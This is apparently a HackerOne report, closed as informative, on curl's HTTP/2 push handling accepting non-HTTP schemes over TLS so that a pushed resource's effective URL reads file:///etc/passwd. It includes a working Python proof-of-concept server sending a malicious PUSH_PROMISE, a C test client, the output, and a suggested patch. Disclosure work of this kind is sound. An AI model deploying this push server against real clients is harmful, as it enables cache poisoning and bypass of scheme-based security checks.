lib/http2.c: SSL connections accept non-HTTP push schemes (incomplete fix for 2e8c922a)
Medium
Vulnerability Details
## Summary:
`set_transfer_url()` in `lib/http2.c` validates the `:scheme` pseudo-header
of PUSH_PROMISE frames only when `!via_ssl_conn` — a guard added by commit
`2e8c922a` to block non-TLS connections from accepting TLS-scheme pushes.
The symmetric case was not addressed: over TLS, `via_ssl_conn` is TRUE, the
guard at line 735 is skipped, and `curl_url_set(u, CURLUPART_SCHEME, v, 0)`
is called at line 743 with whatever scheme the server supplied.
In default builds (`CURL_DISABLE_FILE=OFF`), `Curl_get_scheme("file")` returns
a valid scheme with a non-NULL `run` pointer, so `curl_url_set` returns
`CURLUE_OK` and the push handle URL becomes `file:///etc/passwd`.
The server does not gain local file read — pushed data comes from the H2
stream — but `CURLINFO_EFFECTIVE_URL` returns `"file:///etc/passwd"` and the
transfer completes `result=0`, confirmed on libcurl/8.19.0 nghttp2/1.68.1.
Applications using `CURLMOPT_PUSHFUNCTION` that key caches or routing on
the effective URL process server-delivered content under a spoofed `file://`
label; the official `CURLMOPT_PUSHFUNCTION.md` (line 117) example validates
only `:path`, making it directly exploitable.
## Affected version
curl 8.19.0 (x86_64-pc-linux-gnu) libcurl/8.19.0 OpenSSL/3.6.1
zlib/1.3.1.zlib-ng nghttp2/1.68.1 (Arch Linux x86_64)
Introduced by: commit 2e8c922a (2026-03-27)
## Steps To Reproduce:
Deps: python3, pip install h2, gcc, libcurl-dev with nghttp2 (default build).
1. Generate TLS cert:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem \
-days 1 -nodes -subj "/CN=localhost" \
-addext "subjectAltName=IP:127.0.0.1" \
-addext "basicConstraints=CA:true"
2. Save server.py and run: python3 server.py cert.pem key.pem 18443 &
import sys, ssl, socket, threading
import h2.connection, h2.config, h2.events
CERT, KEY, PORT = sys.argv[1], sys.argv[2], int(sys.argv[3])
def handle(sock):
conn = h2.connection.H2Connection(
config=h2.config.H2Configuration(client_side=False, header_encoding='utf-8'))
conn.initiate_connection(); conn.receive_data(b'')
pushed = False; client_id = None
while True:
data = sock.recv(65535)
if not data: break
for ev in conn.receive_data(data):
if isinstance(ev, h2.events.RequestReceived): client_id = ev.stream_id
elif isinstance(ev, h2.events.StreamEnded) and not pushed:
pushed = True
conn.push_stream(client_id, 2, [(':method','GET'),(':scheme','file'),
(':path','/etc/passwd'),(':authority',f'127.0.0.1:{PORT}')])
conn.send_headers(2,[(':status','200')])
conn.send_data(2,b'injected',end_stream=True)
conn.send_headers(client_id,[(':status','200')])
conn.send_data(client_id,b'ok',end_stream=True)
d = conn.data_to_send(65535)
if d: sock.sendall(d)
sock.close()
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain(CERT,KEY); ctx.set_alpn_protocols(['h2'])
with socket.socket() as s:
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind(('127.0.0.1',PORT)); s.listen(5); print('READY',flush=True)
while True:
c,_ = s.accept()
threading.Thread(target=lambda c=c: (lambda t: handle(t))(ctx.wrap_socket(c,server_side=True)),daemon=True).start()
3. Save client.c and compile: gcc -o client client.c $(pkg-config --cflags --libs libcurl)
#include <stdio.h>
#include <curl/curl.h>
static size_t noop(char*p,size_t s,size_t n,void*u){return s*n;}
static int push_cb(CURL*p,CURL*c,size_t n,struct curl_pushheaders*h,void*u){
char*url=NULL; curl_easy_getinfo(c,CURLINFO_EFFECTIVE_URL,&url);
fprintf(stderr,"PUSH URL: %s\n",url?url:"null");
curl_easy_setopt(c,CURLOPT_WRITEFUNCTION,noop); return CURL_PUSH_OK;}
int main(int ac,char**av){
CURLM*m=curl_multi_init(); CURL*e=curl_easy_init();
curl_easy_setopt(e,CURLOPT_URL,av[1]);
curl_easy_setopt(e,CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_2_0);
curl_easy_setopt(e,CURLOPT_CAINFO,av[2]);
curl_easy_setopt(e,CURLOPT_WRITEFUNCTION,noop);
curl_multi_setopt(m,CURLMOPT_PUSHFUNCTION,push_cb);
curl_multi_add_handle(m,e);
int r=1; while(r>0){curl_multi_perform(m,&r);if(r)curl_multi_poll(m,0,0,500,0);}
return 0;}
4. Run: ./client https://127.0.0.1:18443/ cert.pem
Confirmed output (libcurl/8.19.0, result=0):
PUSH URL: file:///etc/passwd
## Impact
## Summary:
An HTTPS server can inject any non-HTTP scheme into a pushed resource's
effective URL. Applications using CURLMOPT_PUSHFUNCTION receive
CURLINFO_EFFECTIVE_URL = "file:///etc/passwd" for server-delivered content.
The server does not read local files — data comes from the H2 push stream —
but downstream application code that keys response caches, routing decisions,
or audit logs on the effective URL processes server-crafted content under a
spoofed file:// label (cache poisoning, scheme-based security logic bypass,
misleading audit logs). Preconditions: application sets CURLMOPT_PUSHFUNCTION
(non-default) and callback accepts the push.
Suggested fix: in set_transfer_url(), add a symmetric check for via_ssl_conn=TRUE
that only permits "http" and "https" schemes, mirroring the existing non-SSL
guard at line 735:
if(via_ssl_conn) {
if(!curl_strequal(v, "https") && !curl_strequal(v, "http")) {
rc = 1; goto fail;
}
}
else {
const struct Curl_scheme *scheme = Curl_get_scheme(v);
if(!scheme || (scheme->flags & PROTOPT_SSL)) {
rc = 1; goto fail;
}
}
Actions
View on HackerOneReport Stats
- Report ID: 3674275
- State: Closed
- Substate: informative